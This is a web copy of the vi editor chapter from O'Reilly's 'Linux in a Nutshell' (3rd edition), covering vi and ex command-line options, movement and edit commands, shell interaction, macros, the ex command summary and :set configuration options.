Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The vi Editor (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

Chapter 11. The vi Editor

Contents:

Review of vi Operations
vi Command-Line Options
ex Command-Line Options
Movement Commands
Edit Commands
Saving and Exiting
Accessing Multiple Files
Interacting with the Shell
Macros
Miscellaneous Commands
Alphabetical List of Keys in Command Mode
Syntax of ex Commands
Alphabetical Summary of ex Commands
vi Configuration

vi is the classic screen-editing program for Unix. A number of enhanced versions exist, including nvi, vim, vile, and elvis. On Linux, the vi command is usually a link to one of these programs.

vi is based on an older line editor called ex. Powerful editing capabilities can be invoked within vi by pressing the colon (:), entering an ex command, and pressing the Return key. Furthermore, you can place ex commands in a startup file called ~/.exrc, which vi reads at the beginning of your editing session. Because ex commands are still an important part of vi, they also are described in this chapter. On Linux, ex is sometimes called hex.

This chapter, which essentially covers standard vi but reflects nvi extensions, presents the following topics:

  • Review of vi operations

  • vi command-line options

  • ex command-line options

  • Movement commands

  • Edit commands

  • Saving and exiting

  • Accessing multiple files

  • Interacting with the shell

  • Macros

  • Miscellaneous commands

  • Alphabetical list of keys in command mode

  • Syntax of ex commands

  • Alphabetical summary of ex commands

  • vi configuration (setting options at startup)

For more information, see the O'Reilly book Learning the vi Editor by Linda Lamb and Arnold Robbins.

11.1. Review of vi Operations

This section provides a review of the following:

  • Command-line options

  • vi modes

  • Syntax of vi commands

  • Status-line commands

11.1.1. Command Mode

Once the file is opened, you are in command mode. From command mode, you can:

  • Invoke insert mode

  • Issue editing commands

  • Move the cursor to a different position in the file

  • Invoke ex commands

  • Invoke a Linux shell

  • Save or exit the current version of the file

11.1.2. Insert Mode

In insert mode, you can enter new text in the file. Press the Esc or Ctrl-[ keys to exit insert mode and return to command mode. The following commands invoke insert mode:

a

Append after cursor

A

Append at end-of-line

c

Begin change operation (must be followed by a movement command)

C

Change to end-of-line

i

Insert before cursor

I

Insert at beginning of line

o

Open a line below current line

O

Open a line above current line

R

Begin overwriting text

s

Substitute a character

S

Substitute entire line

11.1.3. Syntax of vi Commands

In vi, commands have the following general form:

[n] operator [m] object

The basic editing operators are:

c

Begin a change

d

Begin a deletion

y

Begin a yank (or copy)

If the current line is the object of the operation, then the operator is the same as the object: cc, dd, yy. Otherwise, the editing operators act on objects specified by cursor-movement commands or pattern-matching commands. n and m are the number of times the operation is performed or the number of objects the operation is performed on. If both n and m are specified, the effect is n × m.

An object can represent any of the following text blocks:

word

Includes characters up to a space or punctuation mark. A capitalized object is a variant form that recognizes only blank spaces.

sentence

Extends to ., !, ? followed by two spaces.

paragraph

Extends to next blank line or nroff/troff paragraph macro (defined by para= option).

section

Extends to next nroff/troff section heading (defined by sect= option).

11.1.3.1. Examples

2cw

Change the next two words

d}

Delete up to next paragraph

d^

Delete back to beginning of line

5yy

Copy the next five lines into temporary buffer (for future pasting)

y]]

Copy up to the next section into temporary buffer (for future pasting)

11.1.4. Status-Line Commands

Most commands are not echoed on the screen as you input them. However, the status line at the bottom of the screen is used to echo input for the following commands:

/

Search forward for a pattern

?

Search backward for a pattern

:

Invoke an ex command

!

Pipe the text indicated by a subsequent movement command through the following shell command, and replace the text with the output of the shell command

Commands that are input on the status line must be entered by pressing the Return key. In addition, error messages and output from the Ctrl-G command are displayed on the status line.

Previous | Home | Next
10.5. Summary of Commands by Name | Book Index | 11.2. vi Command-Line Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


vi Command-Line Options (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.2. vi Command-Line Options

The three most common ways of starting a vi session are:

vi file
vi + n file
vi +/ pattern file

You can open file for editing, optionally at line n or at the first line matching pattern. If no file is specified, vi opens with an empty buffer. The command-line options that can be used with vi are:

+[num]

Start editing at line number num, or the last line of the file if num is omitted.

+/pattern

Start editing at the first line matching pattern. (Fails if nowrapscan is set in your .exrc startup file.)

-c command

Run the given vi command upon startup. Only one -c option is permitted. ex commands can be invoked by prefixing them with a :. An older form of this option, +command, is still supported.

-e

Run as ex (line editing rather than full-screen mode).

-l

Enter LISP mode for running LISP programs (not supported in all versions).

-r [file]

Recover and resume editing on file after an aborted editor session or system crash. Without file, list files available for recovery.

-t tag

Edit the file containing tag and position the cursor at its definition (see ctags in Chapter 3, "Linux Commands" for more information).

-v

Run in full-screen mode (default).

-w rows

Set the window size so rows lines at a time are displayed; useful when editing over a slow dial-up line.

-x

Prompt for a key that will be used to try to encrypt or decrypt a file using crypt (not supported in all versions).

-C

Same as -x, but assume the file is encrypted already (not supported in all versions).

-L

List files that were saved due to an aborted editor session or system crash (not supported in all versions).

-R

Edit files read-only.

Previous | Home | Next
11. The vi Editor | Book Index | 11.3. ex Command-Line Options
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


ex Command-Line Options (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.3. ex Command-Line Options

While most people know ex commands only by their use within vi, the editor exists also as a separate program and can be invoked from the shell (for instance, to edit files as part of a script). Within ex, you can enter the vi or visual command to start vi. Similarly, within vi, you can enter Q to quit the vi editor and enter ex.

If you invoke ex as a standalone editor, you can include the following options:

+[num]

Start editing at line number num, or the last line of the file if num is omitted.

+/pattern

Start editing at the first line matching pattern. (Fails if nowrapscan is set in your .exrc start-up file.)

-c command

Run the given ex command upon start-up. Only one -c option is permitted. An older form of this option, +command, is still supported.

-e

Run as a line editor rather than full-screen vi mode (default).

-l

Enter LISP mode for running LISP programs (not supported in all versions).

-r [file]

Recover and resume editing on file after an aborted editor session or system crash. Without file, list files available for recovery.

-s

Silent; do not display prompts. Useful when running a script. This behavior also can be set through the older - option.

-t tag

Edit the file containing tag and position the cursor at its definition (see ctags in Chapter 3, "Linux Commands" for more information).

-v

Run in full-screen mode (same as invoking vi).

-w rows

Set the window size so rows lines at a time are displayed; useful when editing by a slow dial-up line.

-x

Prompt for a key that will be used to try to encrypt or decrypt a file using crypt (not supported in all versions).

-C

Same as -x, but assume the file is encrypted already (not supported in all versions).

-L

List files that were saved due to an editor of system crash (not supported in all versions).

-R

Edit files read-only; do not allow changes to be saved.

You can exit ex in several ways:

:x

Exit (save changes and quit).

:q!

Quit without saving changes.

:vi

Enter the vi editor.

Previous | Home | Next
11.2. vi Command-Line Options | Book Index | 11.4. Movement Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Movement Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.4. Movement Commands

A number preceding a command repeats the movement. Movement commands are also objects for change, delete, and yank operations.

11.4.1. Character

Command | Action
h, j, k, l | Left, down, up, right ( [image] , [image] , [image] , [image] )
Spacebar | Right
Backspace | Left
Ctrl-H | Left

11.4.2. Text

Command | Action
w, b | Forward, backward by word (treating punctuation marks as words).
W, B | Forward, backward by word (recognizing only whitespace, not punctuation, as separators).
e | End of word (treating a punctuation mark as the end of a word).
E | End of word (recognizing only whitespace as the end of a word).
), ( | Beginning of next, current sentence.
}, { | Beginning of next, current paragraph.
]], [[ | Beginning of next, current section.
Ctrl-D | Move to previous tab setting.
Ctrl-T | Move to next tab setting.
Ctrl-W | Move back one word.

11.4.3. Lines

Command | Action
0, $ | First, last position of current line.
^, _ | First nonblank character of current line.
+, - | First character of next, previous line.
Return | First nonblank character of next line.
n| | Column n of current line.
H | Top line of screen.
M | Middle line of screen.
L | Last line of screen.
n H | n lines after top line.
n L | n lines before last line.
Ctrl-J | Move down one line.
Ctrl-M | Move to first nonblank character of next line.

11.4.4. Screens

Command | Action
Ctrl-F, Ctrl-B | Scroll forward, backward one screen.
Ctrl-D, Ctrl-U | Scroll down, up one-half screen.
Ctrl-E, Ctrl-Y | Show one more line at bottom, top of window.
z Return | Reposition line with cursor to top of screen.
z. | Reposition line with cursor to middle of screen.
z- | Reposition line with cursor to bottom of screen.
Ctrl-L, Ctrl-R | Redraw screen (without scrolling).

11.4.5. Searches

Command | Action
/pattern | Search forward for pattern.
/ | Repeat previous search forward.
/pattern/+n | Go to line n after pattern.
?pattern | Search backward for pattern.
? | Repeat previous search backward.
?pattern?-n | Go to line n before pattern.
n | Repeat previous search.
N | Repeat previous search in opposite direction.
% | Find match of current parenthesis, brace, or bracket.
f x | Move forward to x on current line.
F x | Move backward to x on current line.
t x | Move forward to just before x in current line.
T x | Move back to just after x in current line.
, | Reverse search direction of last f, F, t, or T.
; | Repeat last character search (f, F, t, or T).

11.4.5.1. Line numbering

Command | Action
Ctrl-G | Display current filename and line number.
n G | Move to line number n.
G | Move to last line in file.
:n | Move to line number n.

11.4.5.2. Marking position

Command | Action
m x | Mark current position with character x.
`x | (backquote) Move cursor to mark x.
'x | (apostrophe) Move to start of line containing x.
`` | (backquotes) Return to previous mark (or location prior to search).
'' | (apostrophes) Like preceding, but return to start of line.
Previous | Home | Next
11.3. ex Command-Line Options | Book Index | 11.5. Edit Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Edit Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.5. Edit Commands

Recall that c, d, and y are the basic editing operators.

11.5.1. Inserting New Text

Command | Action
a | Append after cursor.
A | Append to end of line.
i | Insert before cursor.
I | Insert at beginning of line.
o | Open a line below cursor.
O | Open a line above cursor.
Esc | Terminate insert mode.
Tab | Insert a tab.
Backspace | Delete previous character (in insert mode).
Ctrl-I | Insert a tab.
Ctrl-U | Delete current line.
Ctrl-V | Insert next character verbatim.
Ctrl-[ | Terminate insert mode.

Some of the control characters listed in the previous table are set by stty. Your terminal settings may differ.

11.5.2. Changing and Deleting Text

The following table is not exhaustive but illustrates the most common operations.

Command | Action
cw | Change through end of current word.
cc | Change line.
c$ | Change text from current position to end-of-line.
C | Same as c$.
dd | Delete current line.
d$ | Delete remainder of line.
D | Same as d$.
n dd | Delete n lines.
dw | Delete a word.
d} | Delete up to next paragraph.
d^ | Delete back to beginning of line.
d/pattern | Delete up to first occurrence of pattern.
dn | Delete up to next occurrence of pattern.
df a | Delete up to and including a on current line.
dt a | Delete up to (not including) a on current line.
dL | Delete up to last line on screen.
dG | Delete to end-of-file.
p | Insert last deleted text after cursor.
P | Insert last deleted text before cursor.
r x | Replace character with x.
R text | Replace text beginning at cursor.
s | Substitute character.
n s | Substitute n characters.
S | Substitute entire line.
u | Undo last change.
U | Restore current line.
x | Delete current character.
X | Delete back one character.
n X | Delete previous n characters.
. | Repeat last change.
~ | Reverse case.
& | Repeat last substitution.
Y | Copy (yank) current line to temporary buffer.
yy | Same as Y.
"x yy | Copy current line to buffer x.
ye | Copy text to end of word into temporary buffer.
yw | Same as ye.
y$ | Copy rest of line into temporary buffer.
"x dd | Delete current line into buffer x.
"X dd | Delete current line and append to buffer x.
"x p | Put contents of buffer x.
J | Join previous line to current line.
:j! | Same as J.
Previous | Home | Next
11.4. Movement Commands | Book Index | 11.6. Saving and Exiting
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Saving and Exiting (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.6. Saving and Exiting

Writing a file means saving the edits and updating the file's modification time.

Command | Action
ZZ | Quit vi, writing the file only if changes were made.
:x | Same as ZZ.
:wq | Write and quit file.
:w | Write file.
:w file | Save copy to file.
:n1,n2 w file | Write lines n1 to n2 to new file.
:n1,n2 w >> file | Append lines n1 to n2 to existing file.
:w! | Write file (overriding protection).
:w! file | Overwrite file with current buffer.
:w %.new | Write current buffer named file as file.new.
:q | Quit file.
:q! | Quit file (discarding edits).
Q | Quit vi and invoke ex.
:vi | Return to vi after Q command.
% | Current filename.
# | Alternate filename.
Previous | Home | Next
11.5. Edit Commands | Book Index | 11.7. Accessing Multiple Files
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Accessing Multiple Files (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.7. Accessing Multiple Files

Command | Action
:e file | Edit another file; current file becomes alternate.
:e! | Restore last saved version of current file.
:e+ file | Begin editing at end of new file.
:e+ n file | Open new file at line n.
:e# | Open to previous position in alternate file.
:ta tag | Edit file containing tag at the location of the tag.
:n | Edit next file.
:n! | Force next file into buffer (don't save changes to current file).
:n files | Specify new list of files.
:args | Display multiple files to be edited.
:rew | Rewind list of multiple files to top.
Previous | Home | Next
11.6. Saving and Exiting | Book Index | 11.8. Interacting with the Shell
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Interacting with the Shell (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.8. Interacting with the Shell

Command | Action
:r file | Read in contents of file after cursor.
:r !command | Read in output from command after current line.
:n r !command | Like preceding, but place after line n (0 for top of file).
:!command | Run command, then return.
!object command | Send object, indicated by a movement command, as input to shell command command; replace object with command output.
:n1,n2! command | Send lines n1 through n2 to command; replace with output.
n!!command | Send n lines to command; replace with output.
!! | Repeat last system command.
!!command | Replace current line with output of command.
:sh | Create subshell; return to file with EOF.
Ctrl-Z | Suspend editor, resume with fg.
:so file | Read and execute ex commands from file.
Previous | Home | Next
11.7. Accessing Multiple Files | Book Index | 11.9. Macros
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Macros (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.9. Macros

Command | Action
:ab in out | Use in as abbreviation for out.
:unab in | Remove abbreviation for in.
:ab | List abbreviations.
:map c sequence | Map character c as sequence of commands.
:unmap c | Disable map for character c.
:map | List characters that are mapped.
:map! c sequence | Map character c to input mode sequence.
:unmap! c | Disable input mode map (you may need to quote the character with Ctrl-V).
:map! | List characters that are mapped to input mode.

The following characters are unused in command mode and can be mapped as user-defined commands:

Letters:

g K q V v

Control keys:

^K ^O ^T ^W ^X

Symbols:

_ * \ =

NOTE

The = is used by vi if LISP mode is set. Different versions of vi may use some of these characters, so test them before using them.

Previous | Home | Next
11.8. Interacting with the Shell | Book Index | 11.10. Miscellaneous Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Miscellaneous Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.10. Miscellaneous Commands

Command | Action
< | Shift line left to position indicated by following movement command.
> | Shift line right to position indicated by following movement command.
<< | Shift line left one shift width (default is 8 spaces).
>> | Shift line right one shift width (default is 8 spaces).
>} | Shift right to end of paragraph.
<% | Shift left until matching parenthesis, brace, bracket, etc. (Cursor must be on the matching symbol.)
^[ | Abort command or end input mode.
^] | Perform a tag look-up on the text under the cursor.
^\ | Enter ex line-editing mode.
^^ | (Caret key with Ctrl key pressed) Return to previously edited file.

Previous | Home | Next
11.9. Macros | Book Index | 11.11. Alphabetical List of Keys in Command Mode
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alphabetical List of Keys in Command Mode (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.11. Alphabetical List of Keys in Command Mode

For brevity, control characters are marked by ^.

Command | Action
a | Append text after cursor.
A | Append text at end-of-line.
^A | Search for next occurrence of word under cursor.
b | Back up to beginning of word in current line.
B | Back up one word, treating punctuation marks as words.
^B | Scroll backward one window.
c | Change text up to target of next movement command.
C | Change to end of current line.
^C | End insert mode; interrupts a long operation.
d | Delete up to target of next movement command.
D | Delete to end of current line.
^D | Scroll down half-window; in insert mode, unindent to shiftwidth if autoindent is set.
e | Move to end of word.
E | Move to end of word, treating punctuation as part of word.
^E | Show one more line at bottom of window.
f | Find next character typed forward on current line.
F | Find next character typed backward on current line.
^F | Scroll forward one window.
g | Unused.
G | Go to specified line or end-of-file.
^G | Print information about file on status line.
h | Left arrow cursor key.
H | Move cursor to home position.
^H | Left arrow cursor key; Backspace key in insert mode.
i | Insert text before cursor.
I | Insert text before first nonblank character on line.
^I | Unused in command mode; in insert mode, same as Tab key.
j | Down arrow cursor key.
J | Join previous line to current line.
^J | Down arrow cursor key; in insert mode, move down a line.
k | Up arrow cursor key.
K | Unused.
^K | Unused.
l | Right arrow cursor key.
L | Move cursor to last position in window.
^L | Redraw screen.
m | Mark the current cursor position in register (a-z).
M | Move cursor to middle position in window.
^M | Move to beginning of next line.
n | Repeat the last search command.
N | Repeat the last search command in reverse direction.
^N | Down arrow cursor key.
o | Open line below current line.
O | Open line above current line.
^O | Unused.
p | Put yanked or deleted text after or below cursor.
P | Put yanked or deleted text before or above cursor.
^P | Up arrow cursor key.
q | Unused.
Q | Quit vi and enter ex line-editing mode.
^Q | Unused. (On some terminals, resume data flow.)
r | Replace character at cursor with the next character you type.
R | Replace characters.
^R | Redraw the screen.
s | Change the character under the cursor to typed characters.
S | Change entire line.
^S | Unused. (On some terminals, stop data flow.)
t | Find next character typed forward on current line and position cursor before it.
T | Find next character typed backward on current line and position cursor after it.
^T | Unused in command mode; in insert mode, move to next tab setting.
u | Undo the last change made.
U | Restore current line, discarding changes.
^U | Scroll the screen upward a half-window.
v | Unused.
V | Unused.
^V | Unused in command mode; in insert mode, insert next character verbatim.
w | Move to beginning of next word.
W | Move to beginning of next word, treating punctuation marks as words.
^W | Unused in command mode; in insert mode, back up to beginning of word.
x | Delete character under cursor.
X | Delete character before cursor.
^X | Unused.
y | Yank or copy text up to target of following movement command into temporary buffer.
Y | Make copy of current line.
^Y | Show one more line at top of window.
z | Reposition line containing cursor. z must be followed by Return (reposition line to top of screen), . (reposition line to middle of screen), or - (reposition line to bottom of screen).
ZZ | Exit the editor, saving changes.

Previous | Home | Next
11.10. Miscellaneous Commands | Book Index | 11.12. Syntax of ex Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Syntax of ex Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.12. Syntax of ex Commands

To enter an ex command from vi, type:

:[address]  command  [options]

An initial : indicates an ex command. As you type the command, it is echoed on the status line. Enter the command by pressing Return. address is the line number or range of lines that are the object of command. options and addresses are described in the following sections. ex commands are described in the alphabetical summary.

11.12.1. Options

!

Indicates a variant command form, overriding the normal behavior.

count

The number of times the command is to be repeated. Unlike vi commands, ex commands cannot be preceded by count, because a number preceding an ex command is treated as a line address. For example, d3 deletes 3 lines beginning with the current line; 3d deletes line 3.

file

The name of a file that is affected by the command. %stands for current file; # stands for previous file.

11.12.2. Addresses

If no address is given, the current line is the object of the command. If the address specifies a range of lines, the format is:

x,y

where x and y are the first and last addressed lines (x must precede y in the buffer). x and y may be line numbers or symbols. Using ; instead of , sets the current line to x before interpreting y. The notation 1,$ addresses all lines in the file, as does %.

11.12.3. Address Symbols

Symbol | Meaning
1,$ | All lines in the file
% | All lines; same as 1,$
x,y | Lines x through y
x;y | Lines x through y, with current line reset to x
0 | Top of file
. | Current line
n | Absolute line number n
$ | Last line
x-n | n lines before x
x+n | n lines after x
-[n] | One or n lines previous
+[n] | One or n lines ahead
'x | Line marked with x
'' | Previous mark
/pattern/ | Forward to line matching pattern
?pattern? | Backward to line matching pattern

See Chapter 9, "Pattern Matching", for more information on using patterns.

Previous | Home | Next
11.11. Alphabetical List of Keys in Command Mode | Book Index | 11.13. Alphabetical Summary of ex Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Alphabetical Summary of ex Commands (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.13. Alphabetical Summary of ex Commands

ex commands can be entered by specifying any unique abbreviation. In this listing, the full name appears in the margin, and the shortest possible abbreviation is used in the syntax line. Examples are assumed to be typed from vi, so they include the : prompt.

abbrev

ab [string text]

Define string when typed to be translated into text. If string and text are not specified, list all current abbreviations.

Examples

Note: ^M appears when you type Ctrl-V followed by Return.

:ab ora O'Reilly & Associates, Inc.
:ab id Name:^MRank:^MPhone:
append

[address] a[!]

text

.

Append text at specified address, or at present address if none is specified. Add a ! to switch the autoindent setting that will be used during input (e.g., if autoindent was enabled, ! disables it). Terminate input by entering a line consisting of just a period.

args

ar

Print filename arguments (the list of files to edit). The current argument is shown in brackets ([]).

cd

cd dir

chdir dir

Change current directory within the editor to dir.

change

[address] c[!]

text

.

Replace the specified lines with text. Add a ! to switch the autoindent setting during input of text. Terminate input by entering a line consisting of just a period.

copy

[address] co destination

Copy the lines included in address to the specified destination address. The command t is the same as copy.

Example

:1,10 co 50     Copy first 10 lines to just after line 50
delete

[address] d [buffer]

Delete the lines included in address. If buffer is specified, save or append the text to the named buffer.

Examples

:/Part I/,/Part II/-1d     Delete to line above "Part II"
:/main/+d                  Delete line below "main"
:.,$d                      Delete from this line to last line
edit

e[!] [+n] [file]

Begin editing file. Add a ! to discard any changes to the current file. If no file is given, edit another copy of the current file. With the +n argument, begin editing on linen.

Examples

:e file
:e#     Return to editing the previous file
:e!     Discard edits since last save
exusage

exu [command]

Print a brief usage message describing command, or a list of available commands if command is omitted.

file

f [filename]

Change the name of the current file to filename, which is considered "not edited." If no filename is specified, print the current status of the file.

Example

:f %.new
global

[address] g[!]/pattern<//[commands]

Execute commands on all lines that contain pattern or, if address is specified, on all lines within that range. If commands are not specified, print all such lines. If ! is used, execute commands on all lines that don't contain pattern. See v.

Examples

:g/Unix/p               Print all lines containing "Unix"
:g/Name:/s/tom/Tom/     Change "tom" to "Tom" on all lines
                                              containing "Name:"
help

h

Print a brief help message. Information on particular commands can be obtained through the exusage and viusage commands.

insert

address i[!]

text

.

Insert text at line before the specified address, or at present address if none is specified. Add a ! to switch the autoindent setting during input of text. Terminate input by entering a line consisting of just a period.

join

[address] j[!] [count]

Place the text in the specified address on one line, with whitespace adjusted to provide two blank characters after a period (.), no blank characters after a ), and one blank character otherwise. Add a ! to prevent whitespace adjustment.

Example

:1,5j!     Join first five lines, preserving whitespace
k

[address] k char

Mark the given address with char. Return later to the line with 'char.

list

[address] l [count]

Print the specified lines so that tabs display as ^I, and the ends of lines display as $. l is a temporary version of :set list.

map

map[!] [char commands]

Define a keyboard macro named char as the specified sequence of commands. char is usually a single character, or the sequence #n, representing a function key on the keyboard. Use a ! to create a macro for input mode. With no arguments, list the currently defined macros.

Examples

:map K dwwP         Transpose two words
:map q :w^M:n^M     Write current file; go to next
:map! + ^[bi(^[ea)  Enclose previous word in parentheses
mark

[address] ma char

Mark the specified line with char, a single lowercase letter. Return later to the line with 'char. Same as k.

mkexrc

mk[!] file

Create an .exrc file containing a set command for every ex option, set to defaults.

move

[address] m destination

Move the lines specified by address to the destination address.

Example

:.,/Note/m /END/     Move text block after line containing "END"
next

n[!] [[+command] filelist]

Edit the next file from the command-line argument list. Use args to list these files. If filelist is provided, replace the current argument list with filelist and begin editing on the first file; if command is given (containing no spaces), execute command after editing the first such file. Add a ! to discard any changes to the current file.

Example

:n chap*     Start editing all "chapter" files
number

[address] nu [count]

Print each line specified by address, preceded by its buffer line number. Use # as an alternate abbreviation for number. count specifies the number of lines to show, starting with address.

open

[address] o [/pattern/]

Enter vi's open mode at the lines specified by address or at the lines matching pattern. Enter and exit open mode with Q. Open mode lets you use the regular vi commands, but only one line at a time. May be useful on slow dial-up lines.

preserve

pre

Save the current editor buffer as though the system had crashed.

previous

prev[!]

Edit the previous file from the command-line argument list.

print

[address] p [count]

[address] P [count]

Print the lines specified by address. count specifies the number of lines to print, starting with address. Add a ! to discard any changes to the current file.

Example

:100;+5p     Show line 100 and the next 5 lines
put

[address] pu [char]

Restore the lines that were previously deleted or yanked from named buffer char, and put them after the line specified by address. If char is not specified, restore the last deleted or yanked text.

quit

q[!]

Terminate current editing session. Use ! to discard changes made since the last save. If the editing session includes additional files in the argument list that were never accessed, quit by typing q! or by typing q twice.

read

[address] r file

Copy in the text from file on the line below the specified address. If file is not specified, the current filename is used.

Example

:0r $HOME/data     Read file in at top of current file
read

[address] r !command

Read the output of Linux command into the text after the line specified by address.

Example

:$r !cal     Place a calendar at end-of-file
recover

rec [file]

Recover file from system save area.

rewind

rew[!]

Rewind argument list and begin editing the first file in the list. The ! flag rewinds, discarding any changes to the current file that haven't been saved.

script

sc[!] [file]

Create a new shell in a buffer that can be saved, optionally specifying file where the buffer can be saved. Can be used only in vi.

set

se parameter1 parameter2 ...

Set a value to an option with each parameter, or if no parameter is supplied, print all options that have been changed from their defaults. For Boolean-valued options, each parameter can be phrased as option or no option; other options can be assigned with the syntax option=value. Specify all to list current settings.

Examples

:set nows wm=10
:set all
shell

sh

Create a new shell. Resume editing when the shell is terminated.

source

so file

Read and execute ex commands from file.

Example

:so $HOME/.exrc
stop

st

Suspend the editing session. Same as Ctrl-Z. Use fg to resume session.

substitute

[address] s [/pattern/replacement/] [options] [count]

Replace each instance of pattern on the specified lines with replacement. If pattern and replacement are omitted, repeat last substitution. count specifies the number of lines on which to substitute, starting with address. When preceded by the global (g) or v command, this command can be specified with a blank pattern, in which case the pattern from the g or v command is then used. For more examples, see Section 9.4.1, "Examples of Searching and Replacing" in Chapter 9, "Pattern Matching".

Options

c

Prompt for confirmation before each change.

g

Substitute all instances of pattern on each line.

p

Print the last line on which a substitution was made.

Examples

:1,10s/yes/no/g               Substitute on first 10 lines
:%s/[Hh]ello/Hi/gc            Confirm global substitutions
:s/Fortran/\U&/ 3             Uppercase first instance of "Fortran"
                                                          on next three lines
:g/^[0-9][0-9]*/s//Line &:/   For every line beginning
                                                          with one or more digits,
                                                          add the "Line" and a colon
suspend

su

Suspend the editing session. Same as Ctrl-Z. Use fg to resume session.

t

[address] t destination

Copy the lines included in address to the specified destination address. t is an alias for copy.

Example

:%t$     Copy the file and add it to the end
tag

[address] ta[!] tag

Switch the editing session to the file containing tag.

Example

Run ctags, then switch to the file containing myfunction:

:!ctags *.c
:tag myfunction
tagnext

tagn[!]

Find the next occurrence of the current tag.

tagpop

tagp[!]

Forget the current tag and return to the last position of the previous tag found.

tagprev

tagpr[!]

Return to the previous occurrence of the current tag.

tagtop

tagt[!]

Return to the first tag searched for and forget about all tags.

unabbreviate

una word

Remove word from the list of abbreviations.

undo

u

Reverse the changes made by the last editing command.

unmap

unm[!] char

Remove char from the list of keyboard macros. Use ! to remove a macro for input mode.

v

[address] v/pattern/[commands]

Execute commands on all lines not containing pattern. If commands are not specified, print all such lines. v is equivalent to g!. See global.

Example

:v/#include/d     Delete all lines except "#include" lines
version

ve

Print the editor's current version number.

vi

vi [+n] file

Begin editing file, optionally at line n. Can be used only in vi.

visual

[address] vi [type] [count]

Enter visual mode (vi) at the line specified by address. Exit with Q. type can be one of -, ^, or . (See the z command.) count specifies an initial window size.

viusage

viu [key]

Print a brief usage message describing the operation of key, or a list of defined keys if key is omitted.

wq

wq[!]

Write and quit the file in one command. The ! flag forces the editor to write over any current contents of file.

write

[address] w[!] [[>>] file

Write lines specified by address to file, or write full contents of buffer if address is not specified. If file also is omitted, save the contents of the buffer to the current filename. If >>file is used, write contents to the end of an existing file. The ! flag forces the editor to write over any current contents of file.

write

[address] w !command

Write lines specified by address to command.

Examples

:1,10w name_list      Copy first 10 lines to name_list
:50w >> name_list     Now append line 50
xit

x

Write the file if it was changed since the last write, then quit.

yank

[address] ya [char] [count]

Place lines specified by address in named buffer char. If no char is given, place lines in general buffer. count specifies the number of lines to yank, starting with address.

Example

:101,200 ya a
z

[address] z [type] [count]

Print a window of text, with the line specified by address at the top. count specifies the number of lines to be displayed.

Type

+

Place specified line at top of window (the default).

-

Place specified line at bottom of window.

.

Place specified line in center of window.

^

Move up one window.

=

Place specified line in center of window, and leave this line as the current line.

!

[address] !command

Execute Linux command in a shell. If address is specified, apply the lines contained in address as standard input to command, and replace the lines with the output.

Examples

:!ls               List files in the current directory
:11,20!sort -f     Sort lines 11-20 of current file
=

[address] =

Print the line number of the next line matching address. If no address is given, print the number of the last line.

< >

[address]<[count]

[address]>[count]

Shift lines specified by address either left (<) or right (>). Only blanks and tabs are removed in a left shift. count specifies the number of lines to shift, starting with address.

address

address

Print the line specified in address.

Return

Return

Print the next line in the file.

&

& [options] [count]

Repeat the previous substitution (s) command. count specifies the number of lines on which to substitute, starting with address.

Examples

:s/Overdue/Paid/    Substitute once on current line
:g/Status/&         Redo substitution on all "Status" lines
~

[address] ~ [count]

Replace the previous regular expression with the previous replacement pattern from a substitute (s) command.

^D

^D

Scroll through the file.

^Z

^Z

Suspend the editing session. Use fg to resume session.

Previous | Home | Next
11.12. Syntax of ex Commands | Book Index | 11.14. vi Configuration
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


vi Configuration (Linux in a Nutshell, 3rd Edition)

 Linux in a NutshellSearch this book

11.14. vi Configuration

This section describes the following:

  • The :set command

  • Options available with :set

  • Sample ~/.exrc file

11.14.1. The :set Command

The :set command lets you specify options that change characteristics of your editing environment. Options may be put in the ~/.exrc file or set during a vi session.

The colon should not be typed if the command is put in ~/.exrc.

Command | Action
:set x | Enable option x.
:set no x | Disable option x.
:set x=val | Give value to option x.
:set | Show changed options.
:set all | Show all options.
:set x? | Show value of option x.

11.14.2. Options Used by :set

The following table describes the options to :set. The first column includes the optional abbreviation, if there is one, and uses an equals sign to show that the option takes a value. The second column gives the default, and the third column describes the behavior of the enabled option.

Option | Default | Description
autoindent (ai) | noai | In insert mode, indent each line to the same level as the line above or below. Use with shiftwidth option.
autoprint (ap) | ap | Display changes after each editor command. (For global replacement, display last replacement.)
autowrite (aw) | noaw | Automatically write (save) file if changed, before opening another file with :n or before giving Linux command with :!.
beautify (bf) | nobf | Ignore all control characters during input (except tab, newline, or formfeed).
directory= (dir) | /tmp | Name the directory in which ex stores buffer files. (Directory must be writable.)
edcompatible | noed-compatible | Use ed-like features on substitute commands.
errorbells (eb) | errorbells | Sound bell when an error occurs.
exrc (ex) | noexrc | Allow the execution of ~/.exrc files that reside outside the user's home directory.
hardtabs= (ht) | 8 | Define boundaries for terminal hardware tabs.
